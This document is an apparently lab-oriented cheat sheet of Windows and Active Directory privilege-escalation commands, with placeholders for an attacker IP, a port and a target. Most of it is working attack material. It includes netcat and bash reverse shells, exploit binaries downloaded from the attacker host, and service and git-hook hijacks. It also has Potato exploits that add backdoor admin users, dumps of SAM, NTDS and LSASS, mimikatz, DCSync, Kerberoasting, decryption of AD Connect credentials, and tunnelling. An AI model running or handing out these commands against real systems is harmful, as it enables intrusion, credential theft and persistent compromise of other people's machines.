whoami /all

systeminfo

Get-LocalUser

Get-LocalGroupMember -GroupName 'Administrators'

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -eq 'Running'}

Get-Process | Select ProcessName,Path,Id

schtasks /query /fo LIST /v

netstat -ano

Get-ItemProperty -Path 'HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' | Select DisplayName,DisplayVersion | Sort DisplayName

wmic qfe list brief

$PSVersionTable.PSVersion

$ExecutionContext.SessionState.LanguageMode
# FullLanguage = unrestricted | ConstrainedLanguage = CLM active → use .exe tools instead

Get-MpPreference | Select ExclusionPath,ExclusionProcess

Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections

whoami
# If output is: NT AUTHORITY\LOCAL SERVICE  or  NT AUTHORITY\NETWORK SERVICE → run FullPowers first

iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/FullPowers.exe -Outfile {{WPATH}}\FullPowers.exe
{{WPATH}}\FullPowers.exe -c "{{WPATH}}\GodPotato-NET4.exe -cmd cmd" -z

strings ServiceBinary.exe | grep -iE "\.exe|\.dll|cmd|powershell|C:\\"
# Commands with NO leading path (e.g. "backup.exe") = vulnerable to PATH hijacking

{{WPATH}}\strings.exe "{{SVCBIN}}" | findstr /i "\.exe cmd powershell"

flare-floss ServiceBinary.exe | grep -i "cmd\|powershell\|path\|pass"

# Check if .NET binary: file ServiceBinary.exe | grep -i ".NET\|MSIL"
# Open in dnSpy → right-click Assembly → Edit Method → find Process.Start, Registry reads, hardcoded strings
# Look for: Assembly.Load, Process.Start("cmd.exe", ...), File.ReadAllText with paths

iwr -uri http://{{KALI_IP}}:{{PORT}}/scripts/PowerUp.ps1 -Outfile {{WPATH}}\PowerUp.ps1
powershell -ep bypass
. {{WPATH}}\PowerUp.ps1          # dot-source - NOT Import-Module
Get-ModifiableServiceFile
Invoke-AllChecks

{{WPATH}}\SharpUp.exe audit
# Outputs: ModifiableServices, UnquotedPaths, ModifiableServiceBinaries, etc.

Install-ServiceBinary -Name '<ServiceName>'
# Undo PowerUp change:
Restore-ServiceBinary -Name '<ServiceName>'

{{WPATH}}\accesschk.exe -uwcqv "{{USER}}" <ServiceName> /accepteula
# Look for: SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS

for /f "tokens=*" %i in ('sc qc ^<ServiceName^> ^| findstr BINARY') do echo %i > {{WPATH}}\svc_original_binpath.txt
REM Save original binPath before changing it - read with: type {{WPATH}}\svc_original_binpath.txt

sc.exe config <ServiceName> binPath= "{{WPATH}}\shell.exe"
sc.exe stop <ServiceName>
sc.exe start <ServiceName>

sc.exe config <ServiceName> binPath= "cmd /c {{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}"
sc.exe stop <ServiceName> && sc.exe start <ServiceName>

sc.exe stop <ServiceName>
sc.exe config <ServiceName> binPath= "C:\OriginalPath\OriginalBinary.exe"
sc.exe start <ServiceName>

# Windows:
dir /s /b .git 2>nul
Get-ChildItem -Path C:\ -Filter ".git" -Recurse -ErrorAction SilentlyContinue -Force | Select FullName
icacls "{{SVCDIR}}\.git\hooks"

# Linux:
find / -name ".git" -type d 2>/dev/null
ls -la /path/to/repo/.git/hooks/
# Look for (W) write permission for your user/group

@echo off
REM Save as: {{SVCDIR}}\.git\hooks\post-commit
REM No extension needed - must be executable
cmd /c "{{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd.exe"

$hook = "@echo off`r`ncmd /c `"{{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd.exe`""
$hook | Out-File -FilePath "{{SVCDIR}}\.git\hooks\post-commit" -Encoding ASCII
# Verify:
Get-Content "{{SVCDIR}}\.git\hooks\post-commit"

echo '#!/bin/bash' > /path/to/repo/.git/hooks/post-commit
echo 'bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1' >> /path/to/repo/.git/hooks/post-commit
chmod +x /path/to/repo/.git/hooks/post-commit

# Check if a scheduled task runs git operations:
schtasks /query /fo LIST /v | findstr /i "git\|commit\|Task Name"
Get-ScheduledTask | Where-Object { ($_.Actions | ForEach-Object {"$($_.Execute) $($_.Arguments)"}) -match "git" } | Select TaskName

# If you have repo access - trigger manually:
cd {{SVCDIR}}
echo test >> trigger.txt
git add trigger.txt
git commit -m "trigger"  # post-commit hook fires immediately

del "{{SVCDIR}}\.git\hooks\post-commit" 2>nul
rm /path/to/repo/.git/hooks/post-commit 2>/dev/null

netstat -ano | findstr "127.0.0.1"
# Find the PORT, then:
curl -s -k http://127.0.0.1:PORT/
curl -s -k https://127.0.0.1:PORT/

curl -s -k http://127.0.0.1:PORT/admin
curl -s -k http://127.0.0.1:PORT/management
curl -s -k http://127.0.0.1:PORT/api/
curl -s -k http://127.0.0.1:PORT/api/v1/
curl -s -k http://127.0.0.1:PORT/console

curl -s -k "http://127.0.0.1:PORT/execute?cmd=whoami"
curl -s -k "http://127.0.0.1:PORT/api/exec?command=whoami"
curl -s -k "http://127.0.0.1:PORT/run?cmd=ipconfig"
curl -s -k -X POST http://127.0.0.1:PORT/api/execute -d "cmd=whoami"

# Add admin user (URL-encoded spaces = %20):
curl -s -k "http://127.0.0.1:PORT/run?cmd=net%20user%20pwned%20Pass123!%20/add"
curl -s -k "http://127.0.0.1:PORT/run?cmd=net%20localgroup%20Administrators%20pwned%20/add"

# Or reverse shell:
curl -s -k "http://127.0.0.1:PORT/run?cmd={{WPATH}}\\nc64.exe%20{{KALI_IP}}%20{{RPORT}}%20-e%20cmd.exe"

Invoke-WebRequest -Uri "http://127.0.0.1:PORT/admin" -UseBasicParsing
(Invoke-WebRequest -Uri "http://127.0.0.1:PORT/run?cmd=whoami" -UseBasicParsing).Content
Invoke-RestMethod -Uri "http://127.0.0.1:PORT/api/execute" -Method Post -Body "cmd=whoami"

findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
findstr /spin "password" *.*

dir /s /b *pass* 2>nul & dir /s /b *cred* 2>nul & dir /s /b *vnc* 2>nul & dir /s /b *.config* 2>nul
# Note: dir does NOT support == as pattern separator - use separate commands or a for loop:
for %f in (*pass* *cred* *vnc* *.config*) do @dir /s /b "%f" 2>nul

type c:\sysprep.inf 2>nul
type c:\sysprep\sysprep.xml 2>nul
type c:\unattend.xml 2>nul
type %WINDIR%\Panther\Unattend\Unattended.xml 2>nul
type %WINDIR%\Panther\Unattended.xml 2>nul

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s

dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /i "vnc.ini"
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul

netsh wlan show profiles

cmdkey /list

type C:\inetpub\wwwroot\web.config 2>nul | findstr /i "connectionString password pwd"

Get-Service -Name ADSync 2>$null
dir "C:\Program Files\Microsoft Azure AD Sync\" 2>$null

$db = 'Server=127.0.0.1;Database=ADSync;Trusted_Connection=True'
$conn = New-Object System.Data.SqlClient.SqlConnection($db)
$conn.Open()
$cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read()
$keyset_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetString(2)
$reader.Close()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type='AD'"
$reader = $cmd.ExecuteReader()
$reader.Read()
# Decrypt with mcrypt.dll
Add-Type -Path "C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll"
[Microsoft.IdentityManagement.PowerShell.ObjectModel.Mcrypt]::DecryptData($reader.GetString(1),$entropy)

iwr -uri http://{{KALI_IP}}:{{PORT}}/scripts/adconnectdump.ps1 -Outfile {{WPATH}}\adconnectdump.ps1
. {{WPATH}}\adconnectdump.ps1

reg save hklm\sam {{WPATH}}\sam
reg save hklm\system {{WPATH}}\system

reg save hklm\security {{WPATH}}\security

impacket-secretsdump -sam sam -system system LOCAL
impacket-secretsdump -security security -system system LOCAL
samdump2 system sam

iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/x64/mimikatz.exe -Outfile {{WPATH}}\mimikatz.exe
mimikatz.exe "privilege::debug" "lsadump::sam /sam:\"{{WPATH}}\sam\" /system:\"{{WPATH}}\system\"" exit

dir C:\windows.old\Windows\System32\SAM 2>nul
dir C:\windows.old\Windows\System32\SYSTEM 2>nul

vssadmin list shadows

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\SAM {{WPATH}}\SAM

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit {{WPATH}}\ntds.dit.bak
reg save hklm\system {{WPATH}}\system.bak

impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL

reg load hku\TempHive C:\Users\<username>\NTUSER.dat

{{WPATH}}\GodPotato-NET4.exe -cmd "cmd /c whoami"

{{WPATH}}\GodPotato-NET4.exe -cmd "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}"

{{WPATH}}\GodPotato-NET4.exe -cmd "net user emma Password123 /add"
{{WPATH}}\GodPotato-NET4.exe -cmd "net localgroup Administrators emma /add"

{{WPATH}}\PrintSpoofer64.exe -c whoami

{{WPATH}}\PrintSpoofer64.exe -c "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}"

{{WPATH}}\PrintSpoofer64.exe -c "net user emma Password123 /add" && {{WPATH}}\PrintSpoofer64.exe -c "net localgroup Administrators emma /add"

{{WPATH}}\SweetPotato.exe -a whoami

{{WPATH}}\SweetPotato.exe -a "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}"

{{WPATH}}\SweetPotato.exe -a "net user emma Password123 /add" && {{WPATH}}\SweetPotato.exe -a "net localgroup Administrators emma /add"

{{WPATH}}\SigmaPotato.exe cmd.exe /c whoami

{{WPATH}}\SigmaPotato.exe --revshell {{KALI_IP}} {{RPORT}}

{{WPATH}}\SigmaPotato.exe cmd.exe /c "net user emma Password123 /add"

{{WPATH}}\JuicyPotato.exe -l 1337 -c {4991d34b-80a1-4291-83b6-3328366b9097} -t * -p c:\windows\system32\cmd.exe

{{WPATH}}\JuicyPotato.exe -l 1337 -c {CLSID} -t * -p "{{WPATH}}\nc64.exe" -a "-e cmd.exe {{KALI_IP}} {{RPORT}}"

{{WPATH}}\JuicyPotato.exe -l 1337 -c {4991d34b-80a1-4291-83b6-3328366b9097} -t * -p cmd.exe -a "/c net user pwned Password123! /add && net localgroup Administrators pwned /add"

socat tcp-listen:135,reuseaddr,fork tcp:{{TARGET}}:9999

certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/RoguePotato.exe {{WPATH}}\rp.exe

{{WPATH}}\rp.exe -r {{KALI_IP}} -e "cmd /c net user pwned Password123! /add && net localgroup Administrators pwned /add" -l 9999

{{WPATH}}\rp.exe -r {{KALI_IP}} -e "cmd /c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd.exe" -l 9999

certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/SharpEfsPotato.exe {{WPATH}}\sep.exe

{{WPATH}}\sep.exe "cmd /c net user pwned Password123! /add && net localgroup Administrators pwned /add"

{{WPATH}}\sep.exe "cmd /c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd.exe"

certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/EfsPotato.cs {{WPATH}}\EfsPotato.cs

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:{{WPATH}}\ep.exe {{WPATH}}\EfsPotato.cs -nowarn:1691,618

{{WPATH}}\ep.exe "cmd /c net user pwned Password123! /add && net localgroup Administrators pwned /add"

{{WPATH}}\ep.exe "cmd /c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd.exe"

certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/HotPotato.exe {{WPATH}}\hp.exe

{{WPATH}}\hp.exe -ip 127.0.0.1 -disable_exhaust true -cmd "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}"

{{WPATH}}\hp.exe -ip 127.0.0.1 -disable_exhaust true -cmd "net user pwned Password123! /add && net localgroup Administrators pwned /add"

certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/churrasco.exe {{WPATH}}\churrasco.exe

{{WPATH}}\churrasco.exe "whoami"

{{WPATH}}\churrasco.exe "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}"

{{WPATH}}\churrasco.exe "net user pwned Password123! /add && net localgroup Administrators pwned /add"

certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/DCOMPotato.exe {{WPATH}}\DCOMPotato.exe

{{WPATH}}\DCOMPotato.exe -c "C:\Windows\System32\cmd.exe"

{{WPATH}}\DCOMPotato.exe -c "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}"

{{WPATH}}\DCOMPotato.exe -c "net user pwned Password123! /add"
{{WPATH}}\DCOMPotato.exe -c "net localgroup Administrators pwned /add"

certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/RottenPotato.exe {{WPATH}}\RottenPotato.exe

{{WPATH}}\RottenPotato.exe
# If this fails, upgrade to JuicyPotato (same technique, more reliable)

systeminfo | findstr /i "Build"

iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/CVE-2023-29360.exe -Outfile {{WPATH}}\CVE-2023-29360.exe
{{WPATH}}\CVE-2023-29360.exe

whoami /priv | findstr SeBackup

reg save hklm\sam {{WPATH}}\sam.hive
reg save hklm\system {{WPATH}}\system.hive
reg save hklm\security {{WPATH}}\security.hive
# Transfer to Kali then:
impacket-secretsdump -system system.hive -sam sam.hive -security security.hive local

# SeBackupPrivilege lets robocopy bypass ACLs - /B = backup mode, /ZB = resume fallback
robocopy /B /ZB C:\Windows\NTDS {{WPATH}}\ntds_copy
reg save hklm\system {{WPATH}}\system.hive
# Transfer ntds.dit + system.hive to Kali, then:
impacket-secretsdump -ntds {{WPATH}}\ntds_copy\ntds.dit -system system.hive LOCAL

# Create shadow.txt first (each command MUST be on its own line; first line MUST be a # comment):
echo # diskshadow script > {{WPATH}}\shadow.txt
echo set context persistent nowriters >> {{WPATH}}\shadow.txt
echo add volume c: alias mysnap >> {{WPATH}}\shadow.txt
echo create >> {{WPATH}}\shadow.txt
echo expose %mysnap% z: >> {{WPATH}}\shadow.txt
diskshadow /s {{WPATH}}\shadow.txt
robocopy /B Z:\Windows\NTDS {{WPATH}}\ntds_copy ntds.dit

impacket-psexec {{DOMAIN}}/Administrator@{{TARGET}} -hashes :NTLM_HASH
evil-winrm -i {{TARGET}} -u Administrator -H NTLM_HASH

whoami /priv | findstr SeDebug

tasklist /fi "IMAGENAME eq winlogon.exe"
# Alternative target: lsass.exe (also runs as SYSTEM)
tasklist /fi "IMAGENAME eq lsass.exe"

iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/SeDebugPrivesc.exe -Outfile {{WPATH}}\SeDebugPrivesc.exe

{{WPATH}}\SeDebugPrivesc.exe <WINLOGON_PID> cmd.exe

powershell -c "rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id {{WPATH}}\lsass.dmp full"

whoami /priv | findstr SeRestore

copy C:\Windows\system32\Utilman.exe C:\Windows\system32\Utilman.exe.bak

cd C:\Windows\system32
ren Utilman.exe Utilman.old
ren cmd.exe Utilman.exe
# TRIGGER: lock screen (Win+L) or RDP → at login screen press Win+U → SYSTEM CMD appears

cd C:\Windows\system32
ren Utilman.exe cmd.exe
ren Utilman.old Utilman.exe
# OR from backup: copy Utilman.exe.bak Utilman.exe

iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/SeRestoreAbuse.exe -Outfile {{WPATH}}\SeRestoreAbuse.exe
{{WPATH}}\SeRestoreAbuse.exe "{{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e powershell.exe"

msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f exe -o ~/privesc-toolkit/payload.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/payload.exe -Outfile {{WPATH}}\payload.exe
{{WPATH}}\SeRestoreAbuse.exe {{WPATH}}\payload.exe

copy C:\Windows\system32\Utilman.exe C:\Windows\system32\Utilman.exe.bak

# Target the specific file, not the directory:
takeown.exe /f C:\Windows\system32\Utilman.exe
icacls.exe C:\Windows\system32\Utilman.exe /grant "%username%":F
# Verify you now own it:
icacls C:\Windows\system32\Utilman.exe
copy C:\Windows\system32\cmd.exe C:\Windows\system32\Utilman.exe
# TRIGGER: lock screen → at login press Win+U → SYSTEM CMD
# ⚠️ Only works if RDP port 3389 is open: netstat -ano | findstr ":3389"

cd C:\Windows\system32
ren Utilman.exe cmd.exe
ren Utilman.old Utilman.exe
# OR: copy Utilman.exe.bak Utilman.exe

whoami /priv | findstr SeLoadDriver

iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/Capcom.sys -Outfile {{WPATH}}\Capcom.sys
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/eoploaddriver_x64.exe -Outfile {{WPATH}}\eoploaddriver_x64.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/ExploitCapcom.exe -Outfile {{WPATH}}\ExploitCapcom.exe

{{WPATH}}\eoploaddriver_x64.exe System\CurrentControlSet\dfserv {{WPATH}}\Capcom.sys

{{WPATH}}\ExploitCapcom.exe EXPLOIT "{{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd"

# List loaded drivers:
fltMC
# Unload a driver (e.g., sysmondrv):
fltMC unload sysmondrv

reg delete HKLM\System\CurrentControlSet\dfserv /f 2>nul

sc query spooler | findstr RUNNING
systeminfo | findstr /i "KB5004945\|KB5004946\|KB5004947\|KB5004948\|KB5004960"
# Spooler RUNNING + none of those KBs → likely vulnerable (pre-July 2021)

iwr -uri http://{{KALI_IP}}:{{PORT}}/scripts/CVE-2021-1675.ps1 -Outfile {{WPATH}}\pn.ps1
. {{WPATH}}\pn.ps1
# Add admin user:
Invoke-Nightmare -NewUser "pwned" -NewPassword "Password123!" -DriverName "Print"
net localgroup administrators pwned  # verify

systeminfo
systeminfo > C:\Users\Public\sysinfo.txt

iwr -uri http://{{KALI_IP}}:{{PORT}}/sysinfo.txt -Outfile {{WPATH}}\sysinfo.txt  # wrong direction
# Correct: exfil from target to Kali
Invoke-WebRequest -Uri "http://{{KALI_IP}}:{{PORT}}/upload" -Method Post -InFile C:\Users\Public\sysinfo.txt
# Or: just copy the output and paste into the Parse button

git clone https://github.com/bitsadmin/wesng.git
python3 wesng/wes.py --update

python3 wesng/wes.py sysinfo.txt -i 'Elevation of Privilege' --exploits-only
# Filter to specific severity:
python3 wesng/wes.py sysinfo.txt -i 'Elevation of Privilege' --exploits-only --severity Important

iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/Watson.exe -Outfile {{WPATH}}\Watson.exe
{{WPATH}}\Watson.exe

icacls C:\Windows\System32\config\SAM
# If "BUILTIN\Users:(I)(RX)" → VULNERABLE

reg save HKLM\SAM C:\Users\Public\SAM
reg save HKLM\SYSTEM C:\Users\Public\SYSTEM
reg save HKLM\SECURITY C:\Users\Public\SECURITY

vssadmin list shadows
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Users\Public\SAM

impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

sc query spooler | findstr RUNNING
systeminfo | findstr KB5010342
# Spooler RUNNING + no KB5010342 → likely vulnerable

iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/SpoolFool.exe -Outfile {{WPATH}}\SpoolFool.exe
{{WPATH}}\SpoolFool.exe -dll {{WPATH}}\evil.dll

msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f dll -o evil.dll

Get-AdmPwdPassword -ComputerName {{TARGET}} | Select-Object ComputerName,Password

Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | Where-Object {$_.'ms-Mcs-AdmPwd'} | Select Name,'ms-Mcs-AdmPwd'

dir "C:\Program Files\LAPS\CSE\AdmPwd.dll" 2>nul

python3 /usr/share/doc/python3-impacket/examples/GetADUsers.py -all -dc-ip {{TARGET}} {{DOMAIN}}/{{USER}}:{{PASS}}

ldapsearch -x -H ldap://{{TARGET}} -D "{{DOMAIN}}\{{USER}}" -w {{PASS}} -b "DC=domain,DC=com" "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd

Find-AdmPwdExtendedRights -OUDistinguishedName "OU=Workstations,DC={{DOMAIN}},DC=com" | Format-Table

Get-DomainComputer -Properties ms-Mcs-AdmPwd -LDAPFilter "(ms-Mcs-AdmPwd=*)"

impacket-GetUserSPNs {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{TARGET}} -request -output-file kerberoast.txt

impacket-GetUserSPNs {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{TARGET}}

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --force

john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.txt

certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/Rubeus.exe {{WPATH}}\Rubeus.exe

{{WPATH}}\Rubeus.exe kerberoast /outFile:{{WPATH}}\roasted.txt

{{WPATH}}\Rubeus.exe kerberoast /format:hashcat /outFile:{{WPATH}}\roasted.txt

impacket-GetNPUsers {{DOMAIN}}/ -usersfile users.txt -dc-ip {{TARGET}} -format hashcat -output-file asrep.txt

impacket-GetNPUsers {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{TARGET}} -request -format hashcat -output-file asrep.txt

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt --force

{{WPATH}}\Rubeus.exe asreproast /format:hashcat /outFile:{{WPATH}}\asrep.txt

Get-ADObject -Filter {isDeleted -eq $true} -IncludeDeletedObjects -Properties * | Select Name,legacyExchangeDN,samaccountname,userPrincipalName,member

Get-ADObject -IncludeDeletedObjects -Filter {ObjectClass -eq "user" -and isDeleted -eq $true} -Properties * | Select Name,'msDS-LastKnownRDN',userPassword,description

impacket-secretsdump {{DOMAIN}}/{{USER}}:{{PASS}}@{{TARGET}} -dc-ip {{TARGET}}

impacket-secretsdump {{DOMAIN}}/{{USER}}@{{TARGET}} -hashes :NTLM_HASH -dc-ip {{TARGET}}

impacket-secretsdump {{DOMAIN}}/{{USER}}:{{PASS}}@{{TARGET}} -just-dc-user Administrator

{{WPATH}}\mimikatz.exe "lsadump::dcsync /user:{{DOMAIN}}\Administrator" exit

{{WPATH}}\mimikatz.exe "lsadump::dcsync /domain:{{DOMAIN}} /all /csv" exit

Get-DomainObjectAcl -SearchBase "DC={{DOMAIN}},DC=com" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "WriteDacl"}

Add-DomainObjectAcl -TargetIdentity "DC={{DOMAIN}},DC=com" -PrincipalIdentity {{USER}} -Rights DCSync -Verbose

Get-DomainObjectAcl -SearchBase "DC={{DOMAIN}},DC=com" -ResolveGUIDs | ? {$_.IdentityReferenceName -eq "{{USER}}"}

Get-DomainObjectAcl -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteOwner|WriteDACL" -and $_.SecurityIdentifier -match (ConvertTo-SID {{USER}})}

$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity target_user -AccountPassword $pass -Verbose

net user target_user Password123! /domain

Add-DomainGroupMember -Identity 'Domain Admins' -Members {{USER}} -Verbose

Get-ADUser -Filter * -Properties Description | Where-Object {$_.Description} | Select Name,Description
Get-DomainUser * -Properties description | Where-Object {$_.description} | Select name,description

Add-DomainObjectAcl -TargetIdentity "DC={{DOMAIN}},DC=com" -PrincipalIdentity {{USER}} -Rights DCSync -Verbose

Get-DomainObjectAcl -SearchBase "DC={{DOMAIN}},DC=com" -ResolveGUIDs | ? {$_.IdentityReferenceName -eq "{{USER}}"}

impacket-psexec {{DOMAIN}}/Administrator@{{TARGET}} -hashes :NTLM_HASH

impacket-wmiexec {{DOMAIN}}/Administrator@{{TARGET}} -hashes :NTLM_HASH

evil-winrm -i {{TARGET}} -u Administrator -H NTLM_HASH

impacket-addcomputer {{DOMAIN}}/{{USER}}:{{PASS}} -computer-name ATTACKER$ -computer-pass AttackerPass123!

Set-DomainObject COMPUTER$ -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SD} -Verbose
# Where $SD is the security descriptor of ATTACKER$:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$(Get-ADComputer ATTACKER$).SID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

impacket-getST {{DOMAIN}}/ATTACKER$:'AttackerPass123!' -spn cifs/COMPUTER.{{DOMAIN}} -impersonate Administrator -dc-ip {{TARGET}}
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass {{DOMAIN}}/Administrator@COMPUTER.{{DOMAIN}}

iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/nc64.exe -Outfile {{WPATH}}\nc64.exe

echo @echo off > {{WPATH}}\evil.bat
echo {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd.exe >> {{WPATH}}\evil.bat

curl -s -k -u admin:PASSWORD -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/evil.bat --data-binary "@evil.bat"

curl -s -k -u admin:PASSWORD https://localhost:8443/api/v1/scripts/ext?all=true

curl -s -k -u admin:PASSWORD https://localhost:8443/api/v1/queries/evil/commands/execute?time=3m

# On Kali: create bat file
printf '@echo off\r\n{{WPATH}}\\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd.exe\r\n' > /tmp/evil.bat
# Then from Kali (after SSH tunnel): upload via PUT
curl -s -k -u admin:PASSWORD -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/evil.bat --data-binary "@/tmp/evil.bat"

chisel server -p 8081 --reverse

certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/chisel.exe {{WPATH}}\chisel.exe

{{WPATH}}\chisel.exe client {{KALI_IP}}:8081 R:socks

proxychains nmap -sT -p 22,80,443,3306,3389,5985 {{TARGET}}

proxychains impacket-psexec {{DOMAIN}}/{{USER}}:{{PASS}}@INTERNAL_IP

chisel server -p 8081 --reverse

{{WPATH}}\chisel.exe client {{KALI_IP}}:8081 R:LOCAL_PORT:127.0.0.1:INTERNAL_PORT

# Example: forward NSClient++ port 8443 to Kali localhost:8443
{{WPATH}}\chisel.exe client {{KALI_IP}}:8081 R:8443:127.0.0.1:8443

certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/plink.exe {{WPATH}}\plink.exe

echo y | {{WPATH}}\plink.exe -ssh -l root -pw {{PASS}} -R 0.0.0.0:{{RPORT}}:127.0.0.1:{{RPORT}} {{KALI_IP}}

certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/winPEASx64.exe {{WPATH}}\wp.exe && {{WPATH}}\wp.exe

iwr http://{{KALI_IP}}:{{PORT}}/windows/winPEASx64.exe -OutFile {{WPATH}}\wp.exe; {{WPATH}}\wp.exe | Tee-Object {{WPATH}}\wp_out.txt

xfreerdp /u:{{USER}} /p:{{PASS}} /v:{{TARGET}}
xfreerdp /u:{{USER}} /p:{{PASS}} /v:{{TARGET}} /cert:ignore /drive:share,/home/kali/privesc-toolkit

xfreerdp /u:{{USER}} /pth:NTLM_HASH /v:{{TARGET}} /cert:ignore

rdesktop -u {{USER}} -p {{PASS}} {{TARGET}}
rdesktop -u {{USER}} -p {{PASS}} {{TARGET}}:3389 -g 1280x800

smbclient -L //{{TARGET}} -U {{USER}}%{{PASS}}
smbclient -L //{{TARGET}} -N                      # Null/anonymous
crackmapexec smb {{TARGET}} --shares -u {{USER}} -p {{PASS}}

net use Z: \\{{KALI_IP}}\share /user:guest ""     # Mount Kali share
net use Z: \\{{TARGET}}\ShareName /user:{{USER}} {{PASS}}   # Mount target share
net use Z: /delete                                # Unmount

sudo mount -t cifs //{{TARGET}}/share /mnt/smb -o username={{USER}},password={{PASS}}
sudo umount /mnt/smb

certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/Seatbelt.exe {{WPATH}}\sb.exe

{{WPATH}}\sb.exe -group=system

{{WPATH}}\sb.exe -group=all 2>&1 | Tee-Object {{WPATH}}\sb_out.txt

{{WPATH}}\sb.exe TokenPrivileges WindowsDefender McAfeeSiteAdvisor AV Processes

certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/x64/mimikatz.exe {{WPATH}}\mimi.exe

{{WPATH}}\mimi.exe "privilege::debug" "sekurlsa::logonpasswords" "sekurlsa::wdigest" "vault::cred" "lsadump::sam" exit

{{WPATH}}\mimi.exe "privilege::debug" "lsadump::sam" exit

{{WPATH}}\mimi.exe "privilege::debug" "lsadump::dcsync /domain:{{DOMAIN}} /all /csv" exit

{{WPATH}}\mimi.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:{{DOMAIN}} /ntlm:NTLM_HASH /run:cmd.exe" exit

